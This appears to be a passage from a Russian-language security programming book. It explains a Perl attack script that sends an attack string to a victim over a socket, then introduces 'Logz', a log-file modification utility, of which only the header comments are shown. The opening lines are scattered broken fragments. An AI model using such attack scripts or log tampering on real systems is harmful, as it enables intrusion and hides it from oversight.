 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Анализ

Все переменные, необходимые для проведения атаки, определяются в строках 7–18;

В строках 19–20 создается и инициализируется сокет, через который будет посылаться запрос системе-жертве. В строке 21 посылается строка запроса $attack_string, а в строке 22 полученные от сервера строки сохраняются в массиве @thedata;

Наконец, в строках 24–28 ответ выводится на STDOUT.

Утилита модификации файла протокола

Выше уже отмечалось, что сильной стороной Perl является манипулирование строками. Этот язык программирования способен анализировать строки, производить в них поиск и замену, пользуясь лишь регулярными выражениями. Пример 1.30 демонстрирует применение этих возможностей; кроме того, здесь показано, как можно генерировать случайные числа и создавать строки. В примере используется библиотечный модуль GetOpt, поставляемый вместе с Perl.

Пример 1.30. Logz

1#!/usr/bin/perl

2#Logz version 1.0

3 #By: James C. Foster

4#Released by James C. Foster & Mark Burnett at BlackHat Windows 2004

in Seattle